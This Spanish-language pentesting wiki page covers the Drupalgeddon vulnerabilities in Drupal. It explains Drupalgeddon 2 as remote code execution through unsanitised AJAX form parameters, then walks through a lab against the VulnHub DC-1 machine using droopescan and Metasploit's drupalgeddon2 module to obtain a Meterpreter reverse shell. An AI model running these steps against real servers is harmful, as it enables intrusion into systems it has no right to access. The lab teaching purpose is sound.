> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/pentesting/pentesting-web/drupalgeddon.md).

# DRUPALGEDDON

## HISTORIA

En 2014 se descubrieron una serie de vulnerabilidades en Drupal. A esto se le conoce como el DRUPALGEDDON siendo un juego de palabras entre DRUPAL y ARMAGEDDON

En 2018 vino la secuela DRUPALGEDDON 2 y también la secuela de la secuela DRUPALGEDDON 3.

Iba a ser trilogia pero en 2019 apareció DRUPALGEDDON 4.

Las versiones vulnerables de Drupal para cada DRUPALGEDDON son.

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2Fyu4NwA3iNQZddAMvXVIQ%2Fimagen.png?alt=media&amp;token=d40069fd-3da8-4316-9cb9-e79701ca6a11" alt=""><figcaption></figcaption></figure>

***

## DRUPALGEDDON 2

DRUPALGEDDON 2 es una vulnerabilidad crítica que permite la EJEUCIÓN REMOTA DE CÓDIGO explotando fallos en la gestión de los formularios y la entrada de datos por falta de sanitización.

Es un fallo a nivel de como se procesaban los formularios AJAX en DRUPAL, que dejaban inyectar código malicioso en los parámetros:

* post\_render
* type
* markup

Que se enviaban a través de POST

Estos parámetros y otros más se utilizaban para definir como se debian procesar y renderizar los formularios en DRUPAL pero al no haber una validación adecuada se podía introducir código PHP en esos parámetros para que lo ejecute el servidor.

***

## LABORATORIO

{% embed url="<https://www.vulnhub.com/entry/dc-1,292/>" %}

### ENUMERAR CON DROOPESCAN

```bash
droopescan scan drupal -u [url-drupal] -e a
```

### EXPLOTACIÓN CON METASPLOIT

```bash
msfconsole

search drupalgeddon2

use 0

---

options

set rhosts [IP-DC1]

exploit
```

El exploit explotará la vulnerabilidad e inyectara el payload que es una reverse shell a través de meterpreter.
